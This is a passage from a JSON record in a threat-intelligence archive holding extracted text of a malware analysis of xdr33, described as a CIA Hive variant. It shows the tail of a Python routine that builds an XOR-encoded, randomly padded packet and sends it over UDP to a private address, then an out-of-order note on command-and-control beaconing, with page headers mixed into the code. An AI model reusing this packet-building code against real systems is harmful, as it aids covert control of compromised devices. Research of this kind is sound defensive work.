out+=padding2\r\n tmp=bytearray()\r\n for i in range(29):\r\n tmp.append(C2[i] ^ out[offset2+8+i])\r\n out+=tmp\r\n leng=472-len(out)\r\n lengpadding=random.randbytes(random.randint(0,leng+1))\r\n out+=lengpadding\r\n return out\r\n \r\npayload=Gen_payload('192.168.159.128',6666)\r\nsock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 25 of 26\n\nsock.sendto(payload,(\"192.168.159.133\",2345)) # 任意端口\r\nSource: https://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nhttps://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/\r\nPage 26 of 26\n\nSSL-negotiated Step4: Waiting encryption for execution suite for network command traffic, and no (new function longer uses XTEA. added by xdr33)  \nAfter the device information is reported, C2 sends 8 bytes of task number N of this cycle to Bot, if N is equal to 0,\nit will sleep for a certain time and enter the next cycle of Beacon Task; if not, it will send 264 bytes of task. bot\n   Page 12 of 26",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/"
	],
	"report_names": [
		"headsup_xdr33_variant_of_ciahive_emeerges"
	],
	"threat_actors": [],
	"ts_created_at": 1775434512,
	"ts_updated_at": 1775791201,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/f3cb1cf008a98ec0fd53013f6b8efa9e3612e1e0.pdf",
		"text": "https://archive.orkl.eu/f3cb1cf008a98ec0fd53013f6b8efa9e3612e1e0.txt",
		"img": "https://archive.orkl.eu/f3cb1cf008a98ec0fd53013f6b8efa9e3612e1e0.jpg"
	}
}